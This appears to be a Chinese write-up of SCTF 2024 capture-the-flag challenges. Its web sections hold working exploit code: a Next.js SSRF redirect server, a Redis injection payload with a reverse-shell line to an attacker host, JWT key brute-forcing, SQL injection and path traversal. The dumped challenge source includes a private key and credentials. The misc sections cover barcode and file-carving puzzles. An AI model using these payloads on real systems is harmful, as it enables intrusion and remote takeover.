Web

ezjump

参考链接:

【网络安全】「漏洞复现」(五)从 NextJS SSRF 漏洞看 Host 头滥用所带来的危害

Redis主从复制实现RCE

CVE-2024-34351 漏洞复现

首先跑去搜索文章,找到【网络安全】「漏洞复现」(五)从 NextJS SSRF 漏洞看 Host 头滥用所带来的危害发现和我抓包back to home界面极其相似从而得知是NextJS SSRF 漏洞,也就是CVE-2024-34351,由Next.js异步函数createRedirectRenderResult导致的SSRF。

pic

同时docker-compose.yml给出了内网ip

pic

题目源码中的重定向代码:

pic

SSRF验证:

脚本:exp.py

from flask import Flask, request, Response, redirect

app = Flask(__name__)

@app.route('/play')
def exploit():
# CORS preflight check
if request.method == 'HEAD':
response = Response()
response.headers['Content-Type'] = 'text/x-component'
return response
# after CORS preflight check
elif request.method == 'GET':
ssrfUrl = 'http://172.11.0.3:5000/'
return redirect(ssrfUrl)

if __name__ == '__main__':
app.run(host='0.0.0.0', port=1717, debug=True)

执行:

pic

成功!

存在WAF:

pic

可以字符串逃逸,多余的字符就用来payloload逃逸

然后直接ssrf payload:

POST /success HTTP/1.1
Host: vps:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/x-component
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://192.168.193.141:3000/success
Next-Action: b421a453a66309ec62a2d2049d51250ee55f10fd
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22success%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Content-Type: multipart/form-data; boundary=---------------------------332929687741145380582296740589
Content-Length: 336
Origin: http://vps:port
Connection: close
Priority: u=0

-----------------------------332929687741145380582296740589
Content-Disposition: form-data; name="1_$ACTION_ID_b421a453a66309ec62a2d2049d51250ee55f10fd"


-----------------------------332929687741145380582296740589
Content-Disposition: form-data; name="0"

["$K1"]
-----------------------------332929687741145380582296740589--

最后就是主从复制RCE,要用到的工具是redis-rogue-server

vps界面一:工具命令:

python3 redis-rogue-server.py --server-only --lhost vps --lport 监听的port

pic

主从同步能够看到回显,所以会一直同步

vps界面二:执行脚本

python3 exp2.py

from flask import Flask, request, Response, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/play')
def exploit():
# CORS preflight check
if request.method == 'HEAD':
response = Response()
response.headers['Content-Type'] = 'text/x-component'
return response
# after CORS preflight check
elif request.method == 'GET':
payload="\r\n$3\r\npun\r\n"#闭合set命令
#按照下面的命令逐一来
payload+="config set dir /tmp\r\n"
# payload+="config set dbfilename exp.so\r\n"
# payload+="slaveof vps 恶意redis的port也就是工具中的port\r\n"
# payload+="module load /tmp/exp.so"
payload+="system.exec 'bash -c \"bash -i >& /dev/tcp/vps/反弹shell的port 0>&1\"'\r\n"
exp="admin"*len(payload)+payload
ssrfUrl = f'http://172.11.0.3:5000/login?username={quote(exp)}&&password=1'
return redirect(ssrfUrl)

if __name__ == '__main__':
app.run(host='0.0.0.0', port=1717, debug=True)

pic

bp返回数据:

pic

vps界面三:改脚本

pic

vps界面四:nc监听

命令:nc -lvp 监听的端口

最后成功连接redis,拿到flag

pic

ezjump

根据提示:ulimit -n =2048 cat /etc/timezone : UTC

pic

注册脚本:

import concurrent.futures
import json
import base64
import jwt
import requests
import time

url=" http://1.95.87.193:23710"


def register(username,password):
data={"username":username,"password":password}
res=requests.post(url+'/register',json=data)
if res.text=="OK":
print("注册成功")
return True
else:
print(str(res.status_code)+"注册失败"+res.text)
return False


def login(username,password):
data={"username":username,"password":password}
res=requests.post(url+'/login',json=data)
if res.status_code==200:
print("登陆成功")
return res.headers['Set-Cookie'][6:]
else:
print(str(res.status_code)+"登录失败"+res.text)
return False

def check(token):
import json
import base64
import time
import jwt

try:
infor = json.loads(base64.b64decode(token).decode())
print(infor["secret"])
secret = infor["secret"]
secret_key = int(str(time.time())[0:10])
print(secret_key)
for i in range(secret_key - 300, secret_key + 300):
try:
print(i)
key = str(i)
data = jwt.decode(secret, key, algorithms=['HS256'])
if data:
print("成功验证: ", data)
print("key: ", secret_key)

return True
except jwt.ExpiredSignatureError:
print("Token已过期")
except jwt.InvalidTokenError:
print("无效的Token")
except Exception as e:
print("解码失败:", e)
return False
except Exception as e:
print(e)
return False

def register_and_login(i):
a = 'userm' + str(i)
if register(a, a):
token = login(a, a)
if token:
return a,a,token # 返回账号、密码和登录的 token
return None

def run_concurrent_tasks():
for i in range(0,2080):
print(i)
result=register_and_login(i)
if(i>=2028):
check(result[2]);

if __name__ == '__main__':
run_concurrent_tasks()

pic

生成token脚本,输入我们的key,账号密码都是userm2079

import json
import hashlib
import base64
import jwt
from app import *
from User import *

def generateToken(user):
secret = {"name": user, "is_admin": "1"}

verify_c = jwt.encode(secret, secret_key, algorithm='HS256')
infor = {"name": user, "secret": verify_c}
token = base64.b64encode(json.dumps(infor).encode()).decode()
print(infor)
print(token)

secret_key = "1727882325"
generateToken('userm2079')

pic

然后就是删除用户的脚本,不然卡死,登录不了userm2079

pic

pic

成功登录

最后就是生成flask内存马脚本

参考链接:

SCTF 2024 By W&M - W&M Team (wm-team.cn)

pic

或者直接用战队wp的内存马直接发包,链接:SCTF 2024 Writeup

pic

SycServer2.0

f12

参考链接SCTF 2024 writeup by Arr3stY0u

pic

控制台输入

wafsql = function(str){
console.log(str)
return str
}

改掉waf,然后登录:账号admin 密码'or 1=1#

成功登录

pic

robots.txt得到/ExP0rtApi?v=static&f=1.jpeg

然后目录穿越:http://1.95.87.154:39435/ExP0rtApi?v=static&f=..././..././..././..././..././..././/app/app.js

pic

然后使用gzip解码,得到

const express = require('express');
const fs = require('fs');
var nodeRsa = require('node-rsa');
const bodyParser = require('body-parser');
const jwt = require('jsonwebtoken');
const crypto = require('crypto');
const SECRET_KEY = crypto.randomBytes(16).toString('hex');
const path = require('path');
const zlib = require('zlib');
const mysql = require('mysql')
const handle = require('./handle');
const cp = require('child_process');
const cookieParser = require('cookie-parser');

const con = mysql.createConnection({
host: 'localhost',
user: 'ctf',
password: 'ctf123123',
port: '3306',
database: 'sctf'
})
con.connect((err) => {
if (err) {
console.error('Error connecting to MySQL:', err.message);
setTimeout(con.connect(), 2000); // 2秒后重试连接
} else {
console.log('Connected to MySQL');
}
});

const {response} = require("express");
const req = require("express/lib/request");

var key = new nodeRsa({ b: 1024 });
key.setOptions({ encryptionScheme: 'pkcs1' });

var publicPem = `-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5nJzSXtjxAB2tuz5WD9B//vLQ\nTfCUTc+AOwpNdBsOyoRcupuBmh8XSVnm5R4EXWS6crL5K3LZe5vO5YvmisqAq2IC\nXmWF4LwUIUfk4/2cQLNl+A0czlskBZvjQczOKXB+yvP4xMDXuc1hIujnqFlwOpGe\nI+Atul1rSE0APhHoPwIDAQAB\n-----END PUBLIC KEY-----`;
var privatePem = `-----BEGIN PRIVATE KEY-----
MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBALmcnNJe2PEAHa27
PlYP0H/+8tBN8JRNz4A7Ck10Gw7KhFy6m4GaHxdJWeblHgRdZLpysvkrctl7m87l
i+aKyoCrYgJeZYXgvBQhR+Tj/ZxAs2X4DRzOWyQFm+NBzM4pcH7K8/jEwNe5zWEi
6OeoWXA6kZ4j4C26XWtITQA+Eeg/AgMBAAECgYA+eBhLsUJgckKK2y8StgXdXkgI
lYK31yxUIwrHoKEOrFg6AVAfIWj/ZF+Ol2Qv4eLp4Xqc4+OmkLSSwK0CLYoTiZFY
Jal64w9KFiPUo1S2E9abggQ4omohGDhXzXfY+H8HO4ZRr0TL4GG+Q2SphkNIDk61
khWQdvN1bL13YVOugQJBAP77jr5Y8oUkIsQG+eEPoaykhe0PPO408GFm56sVS8aT
6sk6I63Byk/DOp1MEBFlDGIUWPjbjzwgYouYTbwLwv8CQQC6WjLfpPLBWAZ4nE78
dfoDzqFcmUN8KevjJI9B/rV2I8M/4f/UOD8cPEg8kzur7fHga04YfipaxT3Am1kG
mhrBAkEA90J56ZvXkcS48d7R8a122jOwq3FbZKNxdwKTJRRBpw9JXllCv/xsc2ye
KmrYKgYTPAj/PlOrUmMVLMlEmFXPgQJBAK4V6yaf6iOSfuEXbHZOJBSAaJ+fkbqh
UvqrwaSuNIi72f+IubxgGxzed8EW7gysSWQT+i3JVvna/tg6h40yU0ECQQCe7l8l
zIdwm/xUWl1jLyYgogexnj3exMfQISW5442erOtJK8MFuUJNHFMsJWgMKOup+pOg
xu/vfQ0A1jHRNC7t
-----END PRIVATE KEY-----`;

const app = express();
app.use(bodyParser.json());
app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'static')));
app.use(cookieParser());

var Reportcache = {}

function verifyAdmin(req, res, next) {
const token = req.cookies['auth_token'];

if (!token) {
return res.status(403).json({ message: 'No token provided' });
}

jwt.verify(token, SECRET_KEY, (err, decoded) => {
if (err) {
return res.status(403).json({ message: 'Failed to authenticate token' });
}

if (decoded.role !== 'admin') {
return res.status(403).json({ message: 'Access denied. Admins only.' });
}

req.user = decoded;
next();
});
}

app.get('/hello', verifyAdmin ,(req, res)=> {
res.send('<h1>Welcome Admin!!!</h1><br><img src="./1.jpeg" />');
});

app.get('/config', (req, res) => {
res.json({
publicKey: publicPem,
});
});

var decrypt = function(body) {
try {
var pem = privatePem;
var key = new nodeRsa(pem, {
encryptionScheme: 'pkcs1',
b: 1024
});
key.setOptions({ environment: "browser" });
return key.decrypt(body, 'utf8');
} catch (e) {
console.error("decrypt error", e);
return false;
}
};

app.post('/login', (req, res) => {
const encryptedPassword = req.body.password;
const username = req.body.username;

try {
passwd = decrypt(encryptedPassword)
if(username === 'admin') {
const sql = `select (select password from user where username = 'admin') = '${passwd}';`
con.query(sql, (err, rows) => {
if (err) throw new Error(err.message);
if (rows[0][Object.keys(rows[0])]) {
const token = jwt.sign({username, role: username}, SECRET_KEY, {expiresIn: '1h'});
res.cookie('auth_token', token, {secure: false});
res.status(200).json({success: true, message: 'Login Successfully'});
} else {
res.status(200).json({success: false, message: 'Errow Password!'});
}
});
} else {
res.status(403).json({success: false, message: 'This Website Only Open for admin'});
}
} catch (error) {
res.status(500).json({ success: false, message: 'Error decrypting password!' });
}
});

app.get('/ExP0rtApi', verifyAdmin, (req, res) => {
var rootpath = req.query.v;
var file = req.query.f;

file = file.replace(/\.\.\//g, '');
rootpath = rootpath.replace(/\.\.\//g, '');

if(rootpath === ''){
if(file === ''){
return res.status(500).send('try to find parameters HaHa');
} else {
rootpath = "static"
}
}

const filePath = path.join(__dirname, rootpath + "/" + file);

if (!fs.existsSync(filePath)) {
return res.status(404).send('File not found');
}
fs.readFile(filePath, (err, fileData) => {
if (err) {
console.error('Error reading file:', err);
return res.status(500).send('Error reading file');
}

zlib.gzip(fileData, (err, compressedData) => {
if (err) {
console.error('Error compressing file:', err);
return res.status(500).send('Error compressing file');
}
const base64Data = compressedData.toString('base64');
res.send(base64Data);
});
});
});

app.get("/report", verifyAdmin ,(req, res) => {
res.sendFile(__dirname + "/static/report_noway_dirsearch.html");
});

app.post("/report", verifyAdmin ,(req, res) => {
const {user, date, reportmessage} = req.body;
if(Reportcache[user] === undefined) {
Reportcache[user] = {};
}
Reportcache[user][date] = reportmessage
res.status(200).send("<script>alert('Report Success');window.location.href='/report'</script>");
});

app.get('/countreport', (req, res) => {
let count = 0;
for (const user in Reportcache) {
count += Object.keys(Reportcache[user]).length;
}
res.json({ count });
});

//查看当前运行用户
app.get("/VanZY_s_T3st", (req, res) => {
var command = 'whoami';
const cmd = cp.spawn(command ,[]);
cmd.stdout.on('data', (data) => {
res.status(200).end(data.toString());
});
})

app.listen(3000, () => {
console.log('Server running on http://localhost:3000');
});

ExP0rtApi?v=static&f=//….//….//….//….//….//….//….//app/handle/index.js
ExP0rtApi?v=static&f=//….//….//….//….//….//….//….//app/handle/child_process.js

这两个路由还可以得到源码,后面的步骤可以看各战队的wp

Misc

FixIt

知识点Aztec Code

html引用给的css文件

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Pixel Example</title>
<link rel="stylesheet" href="style.css"> <!-- 引入你的 CSS 文件 -->
</head>
<body>
<div class="pixel-wrap">
<div class="pixel" style="background-color: red;"></div>
<div class="pixel" style="background-color: blue;"></div>
<!-- 可以添加更多 pixel 元素 -->
</div>
</body>
</html>

然后网页截图得到code ,网站扫描:https://products.aspose.app/barcode/zh-hans/recognize/aztec, 最好指定是Aztec Code

速来探索SCTF星球隐藏的秘密!

题目描述中有听说SCTF星球的语言只由英文和数字组成哦,所以只用输入字母和数字,当输入不对的就会在下面显示Really?,手动fuzz,密码:HAHAHAy04

pic

后面调教好了,就可以出flag,可以参考战队们的wp

TerraWorld

当时这道题真的…,一直盯着附件中的那些图片,一帧一帧的给弄成动画,发现没用

压缩包密码可以玩游戏找到,用010看wld文件可以发现里面有两个文件,分离文件,脚本:

with open('2024SCTF.wld', 'rb') as f:
data = f.read()
data = data.split(b'================================================')
with open('2024SCTF_01.wld', 'wb') as f1:
f1.write(data[0])
with open('2024SCTF_02.wld', 'wb') as f2:
f2.write(data[1])

然后去github下载TEdit(https://github.com/TEdit/Terraria-Map-Editor/releases) ,然后用TEdit打开第二个wld文件得到:

pic

赛博厨子xor得到flag,key为0e

pic